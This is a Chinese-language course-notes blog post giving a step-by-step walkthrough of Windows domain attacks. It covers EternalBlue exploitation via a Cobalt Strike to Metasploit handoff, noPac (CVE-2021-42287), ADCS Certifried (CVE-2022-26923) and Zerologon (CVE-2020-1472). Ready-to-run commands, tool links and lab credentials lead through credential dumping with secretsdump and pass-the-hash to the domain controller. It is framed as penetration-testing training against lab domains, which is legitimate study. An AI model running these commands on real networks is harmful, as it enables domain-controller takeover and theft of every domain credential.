内网安全第一百三十三天

内网安全-横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝

目录

内网安全-横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝

#知识点:

横向移动-系统漏洞-CVE-2017-0146

1、CS创建外联监听器

2、CS执行联动MSF

3、MSF监听联动配置

4、添加路由

5、检测模块

6、利用模块

横向移动-域控提权-CVE-2014-6324

横向移动-域控提权-CVE-2021-42287

将工具noPac编译为exe

接着漏洞利用

横向移动-域控提权-CVE-2022-26923

1、申请低权限用户证书:

2、检测证书

3、创建一个机器账户:

4、设置机器账户属性(dNSHostName和DC一致):

5、再次申请证书:

6、检测证书:

8、利用HASH:

横向移动-域控提权-CVE-2020-1472

0、获取计算机名:

1、连接DC清空凭证:

2、获取域内HASH:

3、连接域控PTH:

4、后续恢复密码:


#知识点:

0、横向移动-系统漏洞-CVE-2017-0146

1、横向移动-域控提权-CVE-2014-6324

2、横向移动-域控提权-CVE-2020-1472

3、横向移动-域控提权-CVE-2021-42287

4、横向移动-域控提权-CVE-2022-26923

本节课主要讲一些内网中的漏洞,第一个就是永恒之蓝,第二个是我们之前讲过的ms14068,讲PTT的时候讲过,后面三个才是我们今天的重点,永恒之蓝和ms14068相对较老就不过多阐述。

横向移动-系统漏洞-CVE-2017-0146

CVE-2017-0146(MS17010) 

Windows 7 8.1 10; Windows Server 2008 2012 2016;   

-插件检测-横向移动

-CS联动MSF-检测&利用

1、CS创建外联监听器
2、CS执行联动MSF

msf-ip 8888 

spawn msf

3、MSF监听联动配置

use exploit/multi/handler

set payload windows/meterpreter/reverse_http

set lhost 0.0.0.0

set lport 8888

run

4、添加路由

run autoroute -p //查看当前路由表

run post/multi/manage/autoroute //添加当前路由表

5、检测模块

use auxiliary/scanner/smb/smb_ms17_010

set rhosts 192.168.3.21-32 //设置扫描目标段

set threads 5 //设置扫描线程数

run 

6、利用模块

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp //正向连接上线

set rhost 192.168.3.25 //设置连接目标

set rhosts 192.168.3.25 //设置扫描目标

run

CS上面只能进行ms17010的探测,不能去利用。因此我们这里需要联动到MSF上面去利用,这里我们先在CS上面上线webserver,然后建立一个监听器,选择foreign的http或者https,地址就写要联动的msf所在服务器的地址,然后端口随便弄一个。

然后我们来到msf上面设置监听这个端口即可,接着我们在CS中输入命令spawn msf

就会把上线的机器联动到msf,也就是把权限移交给msf。命令spawn后面跟的是监听器的名字,我刚才设置的监听器名字就是msf,所以这里输入的命令后面也是msf,不要搞错了

CS中敲下命令,在msf监听4455端口的地方就会上线webserver了,实现两个工具的联动

但是这里CS4.5版本不能联动msf,4.0可以,小迪也不知道啥情况,这里我们主要讲一下CS和MSF的联动,永恒之蓝的漏洞利用都会就不阐述了

在msf上面上线之后,我们就添加需要添加路由了,不添加是访问不到内网的。接着使用ms17010检测模块检测域内主机哪些存在漏洞,然后直接设置攻击模块进行攻击即可。

这里需要注意一下,我们设置攻击模块的时候要设置正向链接,因为存在这个漏洞的机器在内网没有网络,用反向链接他是找不到我的服务器的,所以移动要设置正向链接,攻击成功之后就会显示是通过我们已经上线webserver这台机器正向连接到目标机器的。

横向移动-域控提权-CVE-2014-6324

见前面PTT横向移动课程演示

130天课程已经详细说明,有需要可以看130天笔记,重点讲下面三个漏洞。

横向移动-域控提权-CVE-2021-42287

前提条件:一个域内普通账号

影响版本:Windows基本全系列

https://github.com/cube0x0/noPac

PsTools - Sysinternals | Microsoft Learn

前置:

1、代理后:

修改Host绑定域名和IP

2、扫描探针:

noPac scan -domain god.org -user webadmin -pass admin!@#45

3、利用连接:

noPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org /mAccount dadd /mPassword sdadasdsa /service cifs /ptt

PsExec \\owa2010cn-god.god.org cmd

https://github.com/WazeHell/sam-the-admin

python sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21 -shell

这个利用条件也是比较宽松,只需要域内一个普通账户即可,并且影响版本是windows全系列,打了补丁就另说

将工具noPac编译为exe

我们这里就可以利用工具来进行扫描探针,由于这个工具是给了一个文件夹,使用C#编写的。我们这里用visual studio把它编译成exe文件

直接点击这个sln文件,进入到VS里面

然后选择release,接着点击生成,点击生成解决方案即可。

接着就会发现exe文件就会在该目录下有了。

以上就是利用VS编译工具为exe的全过程

接着漏洞利用

noPac scan -domain god.org -user webadmin -pass admin!@#45

这条命令是扫描探针的,里面写的是域名,所以我们应该修改一下hosts文件,并且在proxifier那里加上xiaopei.com才行。

由于不知道是不是我的环境不支持还是因为工具出现了问题,没有探测出来,加下来就用小迪的截图了。

我的好像是因为打过补丁了,然后就没有这个漏洞了

这里如果出现下面的加号提示就代表有漏洞,

我们接着利用这个工具就可以进行攻击,相当于是伪造一个票据,然后用户名为dadd,密码为sdadasdsa。用户名和密码都是随便写的,然后就会生成一个票据

此时我们在查看一下票据就会发现新出现了一个票据,这个票据就是刚才利用工具生成的,此时我们就可以通过这个票据得到域控system权限的cmd,并且不需要域控的账号密码。

此时我们再利用前面讲的psexec不需要密码就可以直接链接到域控了。

这个漏洞相当于就是伪造域控的票据

也可以利用这个脚本,但是小迪用这个报错了,我这里和小迪报的是一样的错,不建议使用,就用刚才的那个工具就行。

python sam_the_admin.py god/'webadmin:admin!@#45' -dc-ip 192.168.3.21 -shell

横向移动-域控提权-CVE-2022-26923

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。

影响:Win8.1、Win10、Win11、WinServer2012R2、WinServer2016、WinServer2019、WinServer2022等版本

前提条件:

1、一个域内普通账号

2、域内存在证书服务器

Kali添加访问域内信息 /etc/hosts

192.168.1.15 xiaodi.local

192.168.1.15 xiaodi-WIN-3C7SS32SQ6R-CA

192.168.1.15 WIN-3C7SS32SQ6R.xiaodi.local

获取CA结构名和计算机名

certutil -config - -ping

域内信息

192.168.1.15

test Pass123

xiaodi-WIN-3C7SS32SQ6R-CA

WIN-3C7SS32SQ6R.xiaodi.local

前提条件也说了需要有证书服务器,如果没有证书服务器的话,我们利用命令certutil -config - -ping就会获取不到证书。

但是当我们安装了证书服务器之后,再使用这个命令就会发现不报错了。

而这个证书服务器的安装就在安装域服务的那个地方

1、申请低权限用户证书:

certipy req 'xiaodi.local/test:Pass123@WIN-3C7SS32SQ6R.xiaodi.local' -ca xiaodi-WIN-3C7SS32SQ6R-CA -template User -debug

2、检测证书

certipy auth -pfx test.pfx

3、创建一个机器账户:

python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 addComputer pwnmachine 'CVEPassword1234*'

4、设置机器账户属性(dNSHostName和DC一致):

python3 bloodyAD.py -d xiaodi.local -u test -p 'Pass123' --host 192.168.1.15 setAttribute 'CN=pwnmachine,CN=Computers,DC=xiaodi,DC=local' dNSHostName '["WIN-3C7SS32SQ6R.xiaodi.local"]'

5、再次申请证书:

certipy req 'xiaodi.local/pwnmachine$:CVEPassword1234*@192.168.1.15' -template Machine -dc-ip 192.168.1.15 -ca xiaodi-WIN-3C7SS32SQ6R-CA

6、检测证书:

certipy auth -pfx ./win-3c7ss32sq6r.pfx -dc-ip 192.168.1.15

7、导出HASH:

python3 secretsdump.py 'xiaodi.local/win-3c7ss32sq6r$@WIN-3C7SS32SQ6R.xiaodi.local' -hashes :10e02bef2258ad9b239e2281a01827a4

8、利用HASH:

python3 wmiexec.py xiaodi.local/administrator@192.168.1.15 -hashes aad3b435b51404eeaad3b435b51404ee:e6f01fc9f2a0dc96871220f7787164bd

我这里环境一直没弄好,第一步都完成不了,它提示识别不了那个域名,可以我都已经在hosts文件中加过了。所以接下来的讲解就拿小迪的图了

这个Certipy是py的一个库

这个漏洞总的来说就是因为机器账号的dNSHostName属性不唯一,也就是说可以和域控的dNSHostName一样,我们可以先用低权限用户申请一个证书,可以看到证书名字为test.pfx,这个低权限用户就是名字为test,密码为Pass123的一个用户。我们可以看到这个证书有一串hash

接着我们可以利用这个这个低权限用户通过工具bloodyAD.py创建一个机器用户,用户名为pwnmachine,密码为CVEPassword1234*,然后把dNSHostName设置的和域控一样,

这个工具在资源库中

然后我们利用这个机器用户再生成一个证书,会发现这个就是域控的证书了

然后我们就可以检测一下这个证书,然后得到一个hash

然后我们通过刚刚得到的hash利用脚本secretsdump.py去导出域控的所有hash

这个secretsdump.py脚本就是我们之前讲的那个impacket套件里面的一个,

最后就利用这个管理员的hash去连接域控,这里是用wmiexec这个脚本,我觉得用AT和SMB都是可以的。到这里就是PTH攻击了。

总结;就是对dNSHostName属性没有设置唯一性,导致机器用户可以把该属性设置成DC,然后就可以冒充DC申请证书,然后就可以利用该证书的hash来导出域控的所有hash,最后用管理员的hash连接上域控。

横向移动-域控提权-CVE-2020-1472

影响版本:

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows Server 2012

Windows Server 2012 (Server Core installation)

Windows Server 2012 R2

Windows Server 2012 R2 (Server Core installation)

Windows Server 2016

Windows Server 2016 (Server Core installation)

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

重置密码:

https://github.com/dirkjanm/CVE-2020-1472

恢复密码:

https://github.com/risksense/zerologon

https://github.com/SecureAuthCorp/impacket

0、获取计算机名:

nbtscan -v -h 192.168.3.21

1、连接DC清空凭证:

proxychains python cve-2020-1472-exploit.py OWA2010CN-GOD 192.168.3.21

2、获取域内HASH:

proxychains python secretsdump.py OWA2010CN-GOD\$@192.168.3.21 -just-dc -no-pass

3、连接域控PTH:

python wmiexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

4、后续恢复密码:

这个漏洞要求也不高,只需要有一个普通用户权限即可,然后系统没有打补丁即可

然后直接利用脚本cve-2020-1472-exploit.py,这个脚本已经在资源库中给到了,利用这个脚本对域控进行攻击就可以清除域控的凭证,那么域控就会变成空密码,然后就可以利用套件里面的 secretsdump.py脚本导出域控的hash,然后用hash连接到域控,也就是PTH攻击。但是这个漏洞的影响比较大,你把DC搞成空密码,可能域内就不能正常通信了,所以在生产环境下尽量慎用。我这里攻击完就直接恢复快照了

我这里没有成功,估计是我的2008r2打了补丁

小迪的成功了,然后也是成功的利用空密码导出来了hash

接下来就是利用hash连接域控了,也就是PTH

置空密码可能会导致脱域,谨慎使用。得到hash需赶紧恢复回去。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

B_l_a_nk

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值